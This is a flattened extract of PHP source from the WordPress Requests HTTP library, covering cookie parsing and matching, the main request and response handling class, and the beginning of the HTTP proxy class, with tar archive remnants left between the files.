return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain); } /** * Check if a cookie is valid for a given path * * From the path-match check in RFC 6265 section 5.1.4 * * @param string $request_path Path to check * @return boolean Whether the cookie is valid for the given path */ public function path_matches($request_path) { if (empty($request_path)) { // Normalize empty path to root $request_path = '/'; } if (!isset($this->attributes['path'])) { // Cookies created manually; cookies created by Requests will set // the path to the requested path return true; } if (is_scalar($request_path) === false) { return false; } $cookie_path = $this->attributes['path']; if ($cookie_path === $request_path) { // The cookie-path and the request-path are identical. return true; } if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) { if (substr($cookie_path, -1) === '/') { // The cookie-path is a prefix of the request-path, and the last // character of the cookie-path is %x2F ("/"). return true; } if (substr($request_path, strlen($cookie_path), 1) === '/') { // The cookie-path is a prefix of the request-path, and the // first character of the request-path that is not included in // the cookie-path is a %x2F ("/") character. return true; } } return false; } /** * Normalize cookie and attributes * * @return boolean Whether the cookie was successfully normalized */ public function normalize() { foreach ($this->attributes as $key => $value) { $orig_value = $value; if (is_string($key)) { $value = $this->normalize_attribute($key, $value); } if ($value === null) { unset($this->attributes[$key]); continue; } if ($value !== $orig_value) { $this->attributes[$key] = $value; } } return true; } /** * Parse an individual cookie attribute * * Handles parsing individual attributes from the cookie values. * * @param string $name Attribute name * @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag) * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped) */ protected function normalize_attribute($name, $value) { switch (strtolower($name)) { case 'expires': // Expiration parsing, as per RFC 6265 section 5.2.1 if (is_int($value)) { return $value; } $expiry_time = strtotime($value); if ($expiry_time === false) { return null; } return $expiry_time; case 'max-age': // Expiration parsing, as per RFC 6265 section 5.2.2 if (is_int($value)) { return $value; } // Check that we have a valid age if (!preg_match('/^-?\d+$/', $value)) { return null; } $delta_seconds = (int) $value; if ($delta_seconds <= 0) { $expiry_time = 0; } else { $expiry_time = $this->reference_time + $delta_seconds; } return $expiry_time; case 'domain': // Domains are not required as per RFC 6265 section 5.2.3 if (empty($value)) { return null; } // Domain normalization, as per RFC 6265 section 5.2.3 if ($value[0] === '.') { $value = substr($value, 1); } return $value; default: return $value; } } /** * Format a cookie for a Cookie header * * This is used when sending cookies to a server. * * @return string Cookie formatted for Cookie header */ public function format_for_header() { return sprintf('%s=%s', $this->name, $this->value); } /** * Format a cookie for a Set-Cookie header * * This is used when sending cookies to clients. This isn't really * applicable to client-side usage, but might be handy for debugging. * * @return string Cookie formatted for Set-Cookie header */ public function format_for_set_cookie() { $header_value = $this->format_for_header(); if (!empty($this->attributes)) { $parts = []; foreach ($this->attributes as $key => $value) { // Ignore non-associative attributes if (is_numeric($key)) { $parts[] = $value; } else { $parts[] = sprintf('%s=%s', $key, $value); } } $header_value .= '; ' . implode('; ', $parts); } return $header_value; } /** * Parse a cookie string into a cookie object * * Based on Mozilla's parsing code in Firefox and related projects, which * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265 * specifies some of this handling, but not in a thorough manner. * * @param string $cookie_header Cookie header value (from a Set-Cookie header) * @param string $name * @param int|null $reference_time * @return \WpOrg\Requests\Cookie Parsed cookie object * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string. */ public static function parse($cookie_header, $name = '', $reference_time = null) { if (is_string($cookie_header) === false) { throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header)); } if (is_string($name) === false) { throw InvalidArgument::create(2, '$name', 'string', gettype($name)); } $parts = explode(';', $cookie_header); $kvparts = array_shift($parts); if (!empty($name)) { $value = $cookie_header; } elseif (strpos($kvparts, '=') === false) { // Some sites might only have a value without the equals separator. // Deviate from RFC 6265 and pretend it was actually a blank name // (`=foo`) // // https://bugzilla.mozilla.org/show_bug.cgi?id=169091 $name = ''; $value = $kvparts; } else { list($name, $value) = explode('=', $kvparts, 2); } $name = trim($name); $value = trim($value); // Attribute keys are handled case-insensitively $attributes = new CaseInsensitiveDictionary(); if (!empty($parts)) { foreach ($parts as $part) { if (strpos($part, '=') === false) { $part_key = $part; $part_value = true; } else { list($part_key, $part_value) = explode('=', $part, 2); $part_value = trim($part_value); } $part_key = trim($part_key); $attributes[$part_key] = $part_value; } } return new static($name, $value, $attributes, [], $reference_time); } /** * Parse all Set-Cookie headers from request headers * * @param \WpOrg\Requests\Response\Headers $headers Headers to parse from * @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins * @param int|null $time Reference time for expiration calculation * @return array * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $origin argument is not null or an instance of the Iri class. */ public static function parse_from_headers(Headers $headers, $origin = null, $time = null) { $cookie_headers = $headers->getValues('Set-Cookie'); if (empty($cookie_headers)) { return []; } if ($origin !== null && !($origin instanceof Iri)) { throw InvalidArgument::create(2, '$origin', Iri::class . ' or null', gettype($origin)); } $cookies = []; foreach ($cookie_headers as $header) { $parsed = self::parse($header, '', $time); // Default domain/path attributes if (empty($parsed->attributes['domain']) && !empty($origin)) { $parsed->attributes['domain'] = $origin->host; $parsed->flags['host-only'] = true; } else { $parsed->flags['host-only'] = false; } $path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/'); if (!$path_is_valid && !empty($origin)) { $path = $origin->path; // Default path normalization as per RFC 6265 section 5.1.4 if (substr($path, 0, 1) !== '/') { // If the uri-path is empty or if the first character of // the uri-path is not a %x2F ("/") character, output // %x2F ("/") and skip the remaining steps. $path = '/'; } elseif (substr_count($path, '/') === 1) { // If the uri-path contains no more than one %x2F ("/") // character, output %x2F ("/") and skip the remaining // step. $path = '/'; } else { // Output the characters of the uri-path from the first // character up to, but not including, the right-most // %x2F ("/"). $path = substr($path, 0, strrpos($path, '/')); } $parsed->attributes['path'] = $path; } // Reject invalid cookie domains if (!empty($origin) && !$parsed->domain_matches($origin->host)) { continue; } $cookies[$parsed->name] = $parsed; } return $cookies; } } Requests.php000064400000102321152076141160007072 0ustar00 10, 'connect_timeout' => 10, 'useragent' => 'php-requests/' . self::VERSION, 'protocol_version' => 1.1, 'redirected' => 0, 'redirects' => 10, 'follow_redirects' => true, 'blocking' => true, 'type' => self::GET, 'filename' => false, 'auth' => false, 'proxy' => false, 'cookies' => false, 'max_bytes' => false, 'idn' => true, 'hooks' => null, 'transport' => null, 'verify' => null, 'verifyname' => true, ]; /** * Default supported Transport classes. * * @since 2.0.0 * * @var array */ const DEFAULT_TRANSPORTS = [ Curl::class => Curl::class, Fsockopen::class => Fsockopen::class, ]; /** * Current version of Requests * * @var string */ const VERSION = '2.0.11'; /** * Selected transport name * * Use {@see \WpOrg\Requests\Requests::get_transport()} instead * * @var array */ public static $transport = []; /** * Registered transport classes * * @var array */ protected static $transports = []; /** * Default certificate path. * * @see \WpOrg\Requests\Requests::get_certificate_path() * @see \WpOrg\Requests\Requests::set_certificate_path() * * @var string */ protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem'; /** * All (known) valid deflate, gzip header magic markers. * * These markers relate to different compression levels. * * @link https://stackoverflow.com/a/43170354/482864 Marker source. * * @since 2.0.0 * * @var array */ private static $magic_compression_headers = [ "\x1f\x8b" => true, // Gzip marker. "\x78\x01" => true, // Zlib marker - level 1. "\x78\x5e" => true, // Zlib marker - level 2 to 5. "\x78\x9c" => true, // Zlib marker - level 6. "\x78\xda" => true, // Zlib marker - level 7 to 9. ]; /** * This is a static class, do not instantiate it * * @codeCoverageIgnore */ private function __construct() {} /** * Register a transport * * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface */ public static function add_transport($transport) { if (empty(self::$transports)) { self::$transports = self::DEFAULT_TRANSPORTS; } self::$transports[$transport] = $transport; } /** * Get the fully qualified class name (FQCN) for a working transport. * * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return string FQCN of the transport to use, or an empty string if no transport was * found which provided the requested capabilities. */ protected static function get_transport_class(array $capabilities = []) { // Caching code, don't bother testing coverage. // @codeCoverageIgnoreStart // Array of capabilities as a string to be used as an array key. ksort($capabilities); $cap_string = serialize($capabilities); // Don't search for a transport if it's already been done for these $capabilities. if (isset(self::$transport[$cap_string])) { return self::$transport[$cap_string]; } // Ensure we will not run this same check again later on. self::$transport[$cap_string] = ''; // @codeCoverageIgnoreEnd if (empty(self::$transports)) { self::$transports = self::DEFAULT_TRANSPORTS; } // Find us a working transport. foreach (self::$transports as $class) { if (!class_exists($class)) { continue; } $result = $class::test($capabilities); if ($result === true) { self::$transport[$cap_string] = $class; break; } } return self::$transport[$cap_string]; } /** * Get a working transport. * * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return \WpOrg\Requests\Transport * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`). */ protected static function get_transport(array $capabilities = []) { $class = self::get_transport_class($capabilities); if ($class === '') { throw new Exception('No working transports found', 'notransport', self::$transports); } return new $class(); } /** * Checks to see if we have a transport for the capabilities requested. * * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability} * interface as constants. * * Example usage: * `Requests::has_capabilities([Capability::SSL => true])`. * * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport has the requested capabilities. */ public static function has_capabilities(array $capabilities = []) { return self::get_transport_class($capabilities) !== ''; } /**#@+ * @see \WpOrg\Requests\Requests::request() * @param string $url * @param array $headers * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a GET request */ public static function get($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::GET, $options); } /** * Send a HEAD request */ public static function head($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::HEAD, $options); } /** * Send a DELETE request */ public static function delete($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::DELETE, $options); } /** * Send a TRACE request */ public static function trace($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::TRACE, $options); } /**#@-*/ /**#@+ * @see \WpOrg\Requests\Requests::request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a POST request */ public static function post($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::POST, $options); } /** * Send a PUT request */ public static function put($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::PUT, $options); } /** * Send an OPTIONS request */ public static function options($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::OPTIONS, $options); } /** * Send a PATCH request * * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()}, * `$headers` is required, as the specification recommends that should send an ETag * * @link https://tools.ietf.org/html/rfc5789 */ public static function patch($url, $headers, $data = [], $options = []) { return self::request($url, $headers, $data, self::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * The `$options` parameter takes an associative array with the following * options: * * - `timeout`: How long should we wait for a response? * Note: for cURL, a minimum of 1 second applies, as DNS resolution * operates at second-resolution only. * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `connect_timeout`: How long should we wait while trying to connect? * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `useragent`: Useragent to send to the server * (string, default: php-requests/$version) * - `follow_redirects`: Should we follow 3xx redirects? * (boolean, default: true) * - `redirects`: How many times should we redirect before erroring? * (integer, default: 10) * - `blocking`: Should we block processing on this request? * (boolean, default: true) * - `filename`: File to stream the body to instead. * (string|boolean, default: false) * - `auth`: Authentication handler or array of user/password details to use * for Basic authentication * (\WpOrg\Requests\Auth|array|boolean, default: false) * - `proxy`: Proxy details to use for proxy by-passing and authentication * (\WpOrg\Requests\Proxy|array|string|boolean, default: false) * - `max_bytes`: Limit for the response body size. * (integer|boolean, default: false) * - `idn`: Enable IDN parsing * (boolean, default: true) * - `transport`: Custom transport. Either a class name, or a * transport object. Defaults to the first working transport from * {@see \WpOrg\Requests\Requests::getTransport()} * (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()}) * - `hooks`: Hooks handler. * (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks()) * - `verify`: Should we verify SSL certificates? Allows passing in a custom * certificate file as a string. (Using true uses the system-wide root * certificate store instead, but this may have different behaviour * across transports.) * (string|boolean, default: certificates/cacert.pem) * - `verifyname`: Should we verify the common name in the SSL certificate? * (boolean, default: true) * - `data_format`: How should we send the `$data` parameter? * (string, one of 'query' or 'body', default: 'query' for * HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH) * * @param string|Stringable $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use Requests constants) * @param array $options Options for the request (see description for more information) * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`) */ public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) { if (InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url)); } if (is_string($type) === false) { throw InvalidArgument::create(4, '$type', 'string', gettype($type)); } if (is_array($options) === false) { throw InvalidArgument::create(5, '$options', 'array', gettype($options)); } if (empty($options['type'])) { $options['type'] = $type; } $options = array_merge(self::get_default_options(), $options); self::set_defaults($url, $headers, $data, $type, $options); $options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $need_ssl = (stripos($url, 'https://') === 0); $capabilities = [Capability::SSL => $need_ssl]; $transport = self::get_transport($capabilities); } $response = $transport->request($url, $headers, $data, $options); $options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]); return self::parse_response($response, $url, $headers, $data, $options); } /** * Send multiple HTTP requests simultaneously * * The `$requests` parameter takes an associative or indexed array of * request fields. The key of each request can be used to match up the * request with the returned data, or with the request passed into your * `multiple.request.complete` callback. * * The request fields value is an associative array with the following keys: * * - `url`: Request URL Same as the `$url` parameter to * {@see \WpOrg\Requests\Requests::request()} * (string, required) * - `headers`: Associative array of header fields. Same as the `$headers` * parameter to {@see \WpOrg\Requests\Requests::request()} * (array, default: `array()`) * - `data`: Associative array of data fields or a string. Same as the * `$data` parameter to {@see \WpOrg\Requests\Requests::request()} * (array|string, default: `array()`) * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type` * parameter to {@see \WpOrg\Requests\Requests::request()} * (string, default: `\WpOrg\Requests\Requests::GET`) * - `cookies`: Associative array of cookie name to value, or cookie jar. * (array|\WpOrg\Requests\Cookie\Jar) * * If the `$options` parameter is specified, individual requests will * inherit options from it. This can be used to use a single hooking system, * or set all the types to `\WpOrg\Requests\Requests::POST`, for example. * * In addition, the `$options` parameter takes the following global options: * * - `complete`: A callback for when a request is complete. Takes two * parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the * ID from the request array (Note: this can also be overridden on a * per-request basis, although that's a little silly) * (callback) * * @param array $requests Requests data (see description for more information) * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()}) * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public static function request_multiple($requests, $options = []) { if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $options = array_merge(self::get_default_options(true), $options); if (!empty($options['hooks'])) { $options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']); if (!empty($options['complete'])) { $options['hooks']->register('multiple.request.complete', $options['complete']); } } foreach ($requests as $id => &$request) { if (!isset($request['headers'])) { $request['headers'] = []; } if (!isset($request['data'])) { $request['data'] = []; } if (!isset($request['type'])) { $request['type'] = self::GET; } if (!isset($request['options'])) { $request['options'] = $options; $request['options']['type'] = $request['type']; } else { if (empty($request['options']['type'])) { $request['options']['type'] = $request['type']; } $request['options'] = array_merge($options, $request['options']); } self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']); // Ensure we only hook in once if ($request['options']['hooks'] !== $options['hooks']) { $request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']); if (!empty($request['options']['complete'])) { $request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']); } } } unset($request); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $transport = self::get_transport(); } $responses = $transport->request_multiple($requests, $options); foreach ($responses as $id => &$response) { // If our hook got messed with somehow, ensure we end up with the // correct response if (is_string($response)) { $request = $requests[$id]; self::parse_multiple($response, $request); $request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]); } } return $responses; } /** * Get the default options * * @see \WpOrg\Requests\Requests::request() for values returned by this method * @param boolean $multirequest Is this a multirequest? * @return array Default option values */ protected static function get_default_options($multirequest = false) { $defaults = static::OPTION_DEFAULTS; $defaults['verify'] = self::$certificate_path; if ($multirequest !== false) { $defaults['complete'] = null; } return $defaults; } /** * Get default certificate path. * * @return string Default certificate path. */ public static function get_certificate_path() { return self::$certificate_path; } /** * Set default certificate path. * * @param string|Stringable|bool $path Certificate path, pointing to a PEM file. * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean. */ public static function set_certificate_path($path) { if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) { throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path)); } self::$certificate_path = $path; } /** * Set the default values * * The $options parameter is updated with the results. * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type * @param array $options Options for the request * @return void * * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL. */ protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) { if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) { throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url); } if (empty($options['hooks'])) { $options['hooks'] = new Hooks(); } if (is_array($options['auth'])) { $options['auth'] = new Basic($options['auth']); } if ($options['auth'] !== false) { $options['auth']->register($options['hooks']); } if (is_string($options['proxy']) || is_array($options['proxy'])) { $options['proxy'] = new Http($options['proxy']); } if ($options['proxy'] !== false) { $options['proxy']->register($options['hooks']); } if (is_array($options['cookies'])) { $options['cookies'] = new Jar($options['cookies']); } elseif (empty($options['cookies'])) { $options['cookies'] = new Jar(); } if ($options['cookies'] !== false) { $options['cookies']->register($options['hooks']); } if ($options['idn'] !== false) { $iri = new Iri($url); $iri->host = IdnaEncoder::encode($iri->ihost); $url = $iri->uri; } // Massage the type to ensure we support it. $type = strtoupper($type); if (!isset($options['data_format'])) { if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) { $options['data_format'] = 'query'; } else { $options['data_format'] = 'body'; } } } /** * HTTP response parser * * @param string $headers Full response text including headers and body * @param string $url Original request URL * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`) * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`) * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`) */ protected static function parse_response($headers, $url, $req_headers, $req_data, $options) { $return = new Response(); if (!$options['blocking']) { return $return; } $return->raw = $headers; $return->url = (string) $url; $return->body = ''; if (!$options['filename']) { $pos = strpos($headers, "\r\n\r\n"); if ($pos === false) { // Crap! throw new Exception('Missing header/body separator', 'requests.no_crlf_separator'); } $headers = substr($return->raw, 0, $pos); // Headers will always be separated from the body by two new lines - `\n\r\n\r`. $body = substr($return->raw, $pos + 4); if (!empty($body)) { $return->body = $body; } } // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) $headers = str_replace("\r\n", "\n", $headers); // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2) $headers = preg_replace('/\n[ \t]/', ' ', $headers); $headers = explode("\n", $headers); preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches); if (empty($matches)) { throw new Exception('Response could not be parsed', 'noversion', $headers); } $return->protocol_version = (float) $matches[1]; $return->status_code = (int) $matches[2]; if ($return->status_code >= 200 && $return->status_code < 300) { $return->success = true; } foreach ($headers as $header) { list($key, $value) = explode(':', $header, 2); $value = trim($value); preg_replace('#(\s+)#i', ' ', $value); $return->headers[$key] = $value; } if (isset($return->headers['transfer-encoding'])) { $return->body = self::decode_chunked($return->body); unset($return->headers['transfer-encoding']); } if (isset($return->headers['content-encoding'])) { $return->body = self::decompress($return->body); } //fsockopen and cURL compatibility if (isset($return->headers['connection'])) { unset($return->headers['connection']); } $options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]); if ($return->is_redirect() && $options['follow_redirects'] === true) { if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) { if ($return->status_code === 303) { $options['type'] = self::GET; } $options['redirected']++; $location = $return->headers['location']; if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) { // relative redirect, for compatibility make it absolute $location = Iri::absolutize($url, $location); $location = $location->uri; } $hook_args = [ &$location, &$req_headers, &$req_data, &$options, $return, ]; $options['hooks']->dispatch('requests.before_redirect', $hook_args); $redirected = self::request($location, $req_headers, $req_data, $options['type'], $options); $redirected->history[] = $return; return $redirected; } elseif ($options['redirected'] >= $options['redirects']) { throw new Exception('Too many redirects', 'toomanyredirects', $return); } } $return->redirects = $options['redirected']; $options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]); return $return; } /** * Callback for `transport.internal.parse_response` * * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response * while still executing a multiple request. * * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object * * @param string $response Full response text including headers and body (will be overwritten with Response instance) * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()} * @return void */ public static function parse_multiple(&$response, $request) { try { $url = $request['url']; $headers = $request['headers']; $data = $request['data']; $options = $request['options']; $response = self::parse_response($response, $url, $headers, $data, $options); } catch (Exception $e) { $response = $e; } } /** * Decoded a chunked body as per RFC 2616 * * @link https://tools.ietf.org/html/rfc2616#section-3.6.1 * @param string $data Chunked body * @return string Decoded body */ protected static function decode_chunked($data) { if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) { return $data; } $decoded = ''; $encoded = $data; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all return $data; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers return $decoded; } $chunk_length = strlen($matches[0]); $decoded .= substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { return $decoded; } } // We'll never actually get down here // @codeCoverageIgnoreStart } // @codeCoverageIgnoreEnd /** * Convert a key => value array to a 'key: value' array for headers * * @param iterable $dictionary Dictionary of header values * @return array List of headers * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable. */ public static function flatten($dictionary) { if (InputValidator::is_iterable($dictionary) === false) { throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary)); } $return = []; foreach ($dictionary as $key => $value) { $return[] = sprintf('%s: %s', $key, $value); } return $return; } /** * Decompress an encoded body * * Implements gzip, compress and deflate. Guesses which it is by attempting * to decode. * * @param string $data Compressed data in one of the above formats * @return string Decompressed string * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string. */ public static function decompress($data) { if (is_string($data) === false) { throw InvalidArgument::create(1, '$data', 'string', gettype($data)); } if (trim($data) === '') { // Empty body does not need further processing. return $data; } $marker = substr($data, 0, 2); if (!isset(self::$magic_compression_headers[$marker])) { // Not actually compressed. Probably cURL ruining this for us. return $data; } if (function_exists('gzdecode')) { $decoded = @gzdecode($data); if ($decoded !== false) { return $decoded; } } if (function_exists('gzinflate')) { $decoded = @gzinflate($data); if ($decoded !== false) { return $decoded; } } $decoded = self::compatible_gzinflate($data); if ($decoded !== false) { return $decoded; } if (function_exists('gzuncompress')) { $decoded = @gzuncompress($data); if ($decoded !== false) { return $decoded; } } return $data; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 1.6.0 * @link https://core.trac.wordpress.org/ticket/18273 * @link https://www.php.net/gzinflate#70875 * @link https://www.php.net/gzinflate#77336 * * @param string $gz_data String to decompress. * @return string|bool False on failure. * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string. */ public static function compatible_gzinflate($gz_data) { if (is_string($gz_data) === false) { throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data)); } if (trim($gz_data) === '') { return false; } // Compressed data might contain a full zlib header, if so strip it for // gzinflate() if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") { $i = 10; $flg = ord(substr($gz_data, 3, 1)); if ($flg > 0) { if ($flg & 4) { list($xlen) = unpack('v', substr($gz_data, $i, 2)); $i += 2 + $xlen; } if ($flg & 8) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 16) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 2) { $i += 2; } } $decompressed = self::compatible_gzinflate(substr($gz_data, $i)); if ($decompressed !== false) { return $decompressed; } } // If the data is Huffman Encoded, we must first strip the leading 2 // byte Huffman marker for gzinflate() // The response is Huffman coded by many compressors such as // java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's // System.IO.Compression.DeflateStream. // // See https://decompres.blogspot.com/ for a quick explanation of this // data type $huffman_encoded = false; // low nibble of first byte should be 0x08 list(, $first_nibble) = unpack('h', $gz_data); // First 2 bytes should be divisible by 0x1F list(, $first_two_bytes) = unpack('n', $gz_data); if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) { $huffman_encoded = true; } if ($huffman_encoded) { $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } } if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") { // ZIP file format header // Offset 6: 2 bytes, General-purpose field // Offset 26: 2 bytes, filename length // Offset 28: 2 bytes, optional field length // Offset 30: Filename field, followed by optional field, followed // immediately by data list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2)); // If the file has been compressed on the fly, 0x08 bit is set of // the general purpose field. We can use this to differentiate // between a compressed document, and a ZIP file $zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08); if (!$zip_compressed_on_the_fly) { // Don't attempt to decode a compressed zip file return $gz_data; } // Determine the first byte of data, based on the above ZIP header // offsets: $first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4))); $decompressed = @gzinflate(substr($gz_data, 30 + $first_file_start)); if ($decompressed !== false) { return $decompressed; } return false; } // Finally fall back to straight gzinflate $decompressed = @gzinflate($gz_data); if ($decompressed !== false) { return $decompressed; } // Fallback for all above failing, not expected, but included for // debugging and preventing regressions and to track stats $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } return false; } } Proxy.php000064400000001543152076141160006404 0ustar00proxy = $args; } elseif (is_array($args)) { if (count($args) === 1) { list($this->proxy) = $args; } elseif (count($args) === 3) { list($this->proxy, $this->user, $this->pass) = $args; $this->use_authentication = true; } else { throw ArgumentCount::create( 'an array with exactly one element or exactly three elements', count($args), 'proxyhttpbadargs' ); } } elseif ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args)); } } /** * Register the necessary callbacks * * @since 1.6 * @see \WpOrg\Requests\Proxy\Http::curl_before_send() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path() * @see \WpOrg\Requests\Proxy\Http::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']); $hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']); if ($this->use_authentication) { $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } } /** * Set cURL parameters before the data is sent * * @since 1.6 * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { 